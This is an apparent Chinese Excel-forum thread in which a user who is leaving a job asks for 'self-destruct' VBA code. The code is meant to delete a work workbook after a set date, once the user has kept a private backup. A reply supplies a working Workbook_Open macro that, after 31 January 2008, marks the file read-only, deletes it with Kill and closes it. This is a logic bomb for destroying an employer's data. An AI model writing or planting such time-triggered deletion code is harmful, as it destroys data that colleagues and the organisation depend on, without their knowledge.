求:
自杀代码一段(用于工作上)
要注:
到指定时间没有删除代码就自杀整个工作薄
自杀时间为:2008年1月31日
谢谢大家了!
使用道具 举报
MS你师傅要参加世界潜水大赛
小雪是不是辞职了,然后要把以前的东西全部删掉?估计那个公司非常对不住你了。
自杀多麻烦,把时间定要,只要到时间把整个表,清空,自动保持文件就坏了
我把文件备份了
等我走后让那样文件全部自杀掉
这样也好,老师帮我把日期定在2月1日吧
时间到了整个工作薄自动清空
让他只有一个空架子在那里就行了
Private Sub Workbook_Open() If Date <= #1/31/2008# Then Exit Sub MsgBox "文件已过期。" With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close False End WithEnd Sub
以前搜索到的
谢谢楼上的老师!
本版积分规则 发表回复 回帖后跳转到最后一页
小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )
GMT+8, 2024-3-29 10:08 , Processed in 0.564827 second(s), 7 queries , Gzip On, Yac On.
Powered by Discuz! X3.4
Copyright © 2001-2020, Tencent Cloud.